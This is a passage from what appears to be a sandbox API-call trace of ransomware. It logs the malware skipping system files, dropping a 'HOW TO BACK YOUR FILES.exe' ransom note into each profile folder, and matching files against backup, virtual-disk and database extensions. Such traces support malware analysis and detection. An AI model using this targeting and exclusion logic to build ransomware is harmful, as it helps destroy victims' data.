lpString2="pagefile.sys") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0035.609] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0035.609] lstrlenW (lpString="Documents") returned 9 [0035.609] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0035.609] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents", dwFileAttributes=0x10) returned 1 [0035.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c470 [0035.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5017a8 [0035.610] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0035.610] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0035.610] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.613] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1 [0035.613] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1 [0035.613] lstrlenW (lpString="Downloads") returned 9 [0035.613] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0035.613] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads", dwFileAttributes=0x10) returned 1 [0035.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c488 [0035.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501828 [0035.613] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0035.613] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0035.613] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.615] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0035.616] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0035.616] lstrlenW (lpString="Favorites") returned 9 [0035.616] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0035.616] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites", dwFileAttributes=0x10) returned 1 [0035.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4a0 [0035.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5018a8 [0035.616] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0035.616] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0035.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.627] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc35b640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0035.627] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0035.627] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.627] lstrcmpiW (lpString1="Links", lpString2=".") returned 1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="..") returned 1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1 [0035.627] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1 [0035.628] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1 [0035.628] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1 [0035.628] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1 [0035.628] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1 [0035.628] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1 [0035.628] lstrlenW (lpString="Links") returned 5 [0035.628] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Links" | out: lpString1="Links") returned="Links" [0035.628] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links", dwFileAttributes=0x10) returned 1 [0035.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4b8 [0035.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x528028 [0035.628] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0035.628] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0035.628] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.630] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2=".") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="..") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="windows") returned -1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="bootmgr") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="temp") returned -1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="pagefile.sys") returned -1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="boot") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="ids.txt") returned 1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="ntuser.dat") returned -1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="perflogs") returned -1 [0035.630] lstrcmpiW (lpString1="Local Settings", lpString2="MSBuild") returned -1 [0035.630] lstrlenW (lpString="Local Settings") returned 14 [0035.630] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0035.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4d0 [0035.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x518c50 [0035.631] lstrcatW (in: lpString1="Local Settings", lpString2="\\" | out: lpString1="Local Settings\\") returned="Local Settings\\" [0035.631] lstrcatW (in: lpString1="Local Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local Settings\\HOW TO BACK YOUR FILES.exe") returned="Local Settings\\HOW TO BACK YOUR FILES.exe" [0035.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.639] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xac316e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac316e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2=".") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="..") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1 [0035.639] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1 [0035.639] lstrlenW (lpString="Music") returned 5 [0035.639] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Music" | out: lpString1="Music") returned="Music" [0035.639] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music", dwFileAttributes=0x10) returned 1 [0035.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4e8 [0035.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x5280a0 [0035.639] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0035.639] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0035.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.641] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2=".") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="..") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="windows") returned -1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="bootmgr") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="temp") returned -1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="pagefile.sys") returned -1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="boot") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="ids.txt") returned 1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="ntuser.dat") returned -1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="perflogs") returned -1 [0035.642] lstrcmpiW (lpString1="My Documents", lpString2="MSBuild") returned 1 [0035.642] lstrlenW (lpString="My Documents") returned 12 [0035.642] lstrcpyW (in: lpString1=0x241e8a6, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0035.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c500 [0035.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x501928 [0035.642] lstrcatW (in: lpString1="My Documents", lpString2="\\" | out: lpString1="My Documents\\") returned="My Documents\\" [0035.642] lstrcatW (in: lpString1="My Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Documents\\HOW TO BACK YOUR FILES.exe") returned="My Documents\\HOW TO BACK YOUR FILES.exe" [0035.642] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.643] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2=".") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="..") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="windows") returned -1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="bootmgr") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="temp") returned -1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="pagefile.sys") returned -1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="boot") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="ids.txt") returned 1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="ntuser.dat") returned -1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="perflogs") returned -1 [0035.643] lstrcmpiW (lpString1="NetHood", lpString2="MSBuild") returned 1 [0035.643] lstrlenW (lpString="NetHood") returned 7 [0035.643] lstrcpyW (in: lpString1=0x241e8a6, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0035.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c518 [0035.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x528118 [0035.643] lstrcatW (in: lpString1="NetHood", lpString2="\\" | out: lpString1="NetHood\\") returned="NetHood\\" [0035.643] lstrcatW (in: lpString1="NetHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetHood\\HOW TO BACK YOUR FILES.exe") returned="NetHood\\HOW TO BACK YOUR FILES.exe" [0035.643] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.649] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="windows") returned -1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="bootmgr") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="temp") returned -1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="pagefile.sys") returned -1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="boot") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ids.txt") returned 1 [0035.649] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0 [0035.649] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="windows") returned -1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="bootmgr") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="temp") returned -1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="pagefile.sys") returned -1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="boot") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ids.txt") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ntuser.dat") returned 1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="perflogs") returned -1 [0035.649] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="MSBuild") returned 1 [0035.649] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0035.649] lstrcpyW (in: lpString1=0x241e8a6, lpString2="ntuser.dat.LOG1" | out: lpString1="ntuser.dat.LOG1") returned="ntuser.dat.LOG1" [0035.649] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0035.649] lstrlenW (lpString="Athena865") returned 9 [0035.649] lstrcmpiW (lpString1=".dat.LOG1", lpString2="Athena865") returned -1 [0035.650] lstrlenW (lpString=".dll") returned 4 [0035.650] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".dll") returned 1 [0035.650] lstrlenW (lpString=".lnk") returned 4 [0035.650] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".lnk") returned 1 [0035.650] lstrlenW (lpString=".ini") returned 4 [0035.650] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".ini") returned 1 [0035.650] lstrlenW (lpString=".sys") returned 4 [0035.650] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".sys") returned 1 [0035.650] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0035.650] lstrlenW (lpString="bak") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1 [0035.650] lstrlenW (lpString="ba_") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1 [0035.650] lstrlenW (lpString="dbb") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1 [0035.650] lstrlenW (lpString="vmdk") returned 4 [0035.650] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1 [0035.650] lstrlenW (lpString="rar") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1 [0035.650] lstrlenW (lpString="zip") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1 [0035.650] lstrlenW (lpString="tgz") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1 [0035.650] lstrlenW (lpString="vbox") returned 4 [0035.650] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1 [0035.650] lstrlenW (lpString="vdi") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1 [0035.650] lstrlenW (lpString="vhd") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1 [0035.650] lstrlenW (lpString="vhdx") returned 4 [0035.650] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1 [0035.650] lstrlenW (lpString="avhd") returned 4 [0035.650] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1 [0035.650] lstrlenW (lpString="db") returned 2 [0035.650] lstrcmpiW (lpString1="G1", lpString2="db") returned 1 [0035.650] lstrlenW (lpString="db2") returned 3 [0035.650] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1 [0035.650] lstrlenW (lpString="db3") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1 [0035.651] lstrlenW (lpString="dbf") returned 3 [0035.651] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1 